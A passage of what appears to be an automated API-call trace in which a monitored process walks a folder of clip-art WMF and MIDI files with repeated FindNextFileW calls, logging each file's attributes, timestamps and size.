ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0068.211] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, 